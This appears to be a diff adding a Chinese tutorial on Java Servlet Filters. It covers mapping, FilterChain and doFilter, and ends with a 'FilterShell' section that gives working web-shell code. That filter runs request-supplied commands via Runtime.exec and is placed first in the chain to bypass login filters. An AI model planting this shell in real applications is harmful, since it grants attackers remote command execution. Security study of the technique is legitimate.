|
| 1 | +# Java Servlet Filter |
| 2 | + |
| 3 | +> [Servlet 3.1 规范 — Filter 主要概念](https://github.com/waylau/servlet-3.1-specification/blob/master/docs/Filtering/6.2%20Main%20Concepts.md) |
| 4 | +
|
| 5 | +Filter 是 Servlet 规范中定义的一个 Web 组件,可作用在一个 Servlet 或多个 Servlet 上,以链式的方式顺序调用,其允许改变请求和响应的头信息和内容。常见的过滤器有登录认证过滤器、字符编码过滤器以及加解密过滤器。 |
| 6 | + |
| 7 | +## Filter 配置 |
| 8 | + |
| 9 | +Filter 可以选择应用的 url-pattern 或 servlet-name,以下两种方式等价 |
| 10 | + |
| 11 | +```xml |
| 12 | +<filter-mapping> |
| 13 | + <filter-name>Multipe Mappings Filter</filter-name> |
| 14 | + <url-pattern>/foo/*</url-pattern> |
| 15 | + <servlet-name>Servlet1</servlet-name> |
| 16 | + <servlet-name>Servlet2</servlet-name> |
| 17 | + <url-pattern>/bar/*</url-pattern> |
| 18 | +</filter-mapping> |
| 19 | +``` |
| 20 | + |
| 21 | +```java |
| 22 | +@WebFilter( |
| 23 | + filterName = "Multipe Mappings Filter", |
| 24 | + urlPatterns = {"/foo/*", "/bar/*"}, |
| 25 | + servletNames = {"Servlet1", "Servlet2"} |
| 26 | +) |
| 27 | +public class MultipeMappingsFilter implements Filter { |
| 28 | + @Override |
| 29 | + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { |
| 30 | + // TODO |
| 31 | + } |
| 32 | +} |
| 33 | +``` |
| 34 | + |
| 35 | +## doFilter |
| 36 | + |
| 37 | +Web 容器在启动时,会扫描 Web 应用中所有 Filter 的定义来注册 Filter,并将其封装成 FilterChain,每个 Filter 在 JVM 中只会有一个实例。 |
| 38 | + |
| 39 | +Filter 的接口签名如下,其中最重要的就是 doFilter 方法。 |
| 40 | + |
| 41 | +1. Web 容器在接收到请求时,会获取 FilterChain 中的第一个过滤器将 request、response 以及 chain 传入 doFilter 方法中进行调用。 |
| 42 | +2. 当过滤器链中最后一个过滤器被调用,将会访问到最终的 Servlet 或静态资源。 |
| 43 | +3. 手动在 doFilter 中调用 `chain.doFilter(request, response)`,将会访问 chain 中下一个过滤器。 |
| 44 | +4. 在 doFilter 中可以选择不调用 `chain.doFilter(request, response)` 则意为阻止当前请求,那么当前过滤器需要负责填充响应对象。 |
| 45 | + |
| 46 | +```java |
| 47 | +public interface Filter { |
| 48 | + /** |
| 49 | + * 由 Web 容器在初始化 Filter 时调用。 |
| 50 | + */ |
| 51 | + public void init(FilterConfig filterConfig) throws ServletException; |
| 52 | + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)throws IOException, ServletException; |
| 53 | + /** |
| 54 | + * 由 Web 容器在卸载 Filter 时调用。 |
| 55 | + */ |
| 56 | + public void destroy(); |
| 57 | +} |
| 58 | +``` |
| 59 | + |
| 60 | +## FilterShell |
| 61 | + |
| 62 | +shell 的目的,就是为了定义一个入口,我们能与 Web 服务器进行交互。在 Filter 中我们就是实现 doFilter 来满足需求,以下定义了一个命令回显的 FilterShell。 |
| 63 | + |
| 64 | +1. 一般而言,我们会为 FilterShell 注册 url-pattern 为 `/*`,这样无论访问哪个路径都能被调用到,而且为了绕过登录过滤器,我们会把 FilterShell 注册为 FilterChain 中的第一个过滤器。 |
| 65 | +2. 交互的入口是 `request.getParameter` 支持两种方式传参。GET/POST 请求发送 `/?paramName=whoami`,也可以发送 POST 请求时使用 `application/x-www-form-urlencoded` 发送 body 参数。`multipart/form-data` 是不支持从 `request.getParameter` 获取参数的。 |
| 66 | +3. 当 Filter 注册的 url-pattern 为 `/*` 时,我们拿到 cmd 参数,就可以执行命令并填充响应对象 `return` 结束请求,而在拿不到参数的时候就必须调用 `chain.doFilter(servletRequest, servletResponse)`,否则正常的业务就不会被执行。 |
| 67 | + |
| 68 | +```java |
| 69 | +public class CommandFilter implements Filter { |
| 70 | + public static String paramName; |
| 71 | + |
| 72 | + @Override |
| 73 | + public void init(FilterConfig filterConfig) throws ServletException { |
| 74 | + |
| 75 | + } |
| 76 | + |
| 77 | + @Override |
| 78 | + public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { |
| 79 | + HttpServletRequest servletRequest = (HttpServletRequest) request; |
| 80 | + HttpServletResponse servletResponse = (HttpServletResponse) response; |
| 81 | + String cmd = servletRequest.getParameter(paramName); |
| 82 | + if (cmd != null) { |
| 83 | + Process exec = Runtime.getRuntime().exec(cmd); |
| 84 | + InputStream inputStream = exec.getInputStream(); |
| 85 | + ServletOutputStream outputStream = servletResponse.getOutputStream(); |
| 86 | + byte[] buf = new byte[8192]; |
| 87 | + int length; |
| 88 | + while ((length = inputStream.read(buf)) != -1) { |
| 89 | + outputStream.write(buf, 0, length); |
| 90 | + } |
| 91 | + return; |
| 92 | + } |
| 93 | + chain.doFilter(servletRequest, servletResponse); |
| 94 | + } |
| 95 | + |
| 96 | + @Override |
| 97 | + public void destroy() { |
| 98 | + |
| 99 | + } |
| 100 | +} |
| 101 | +``` |
0 commit comments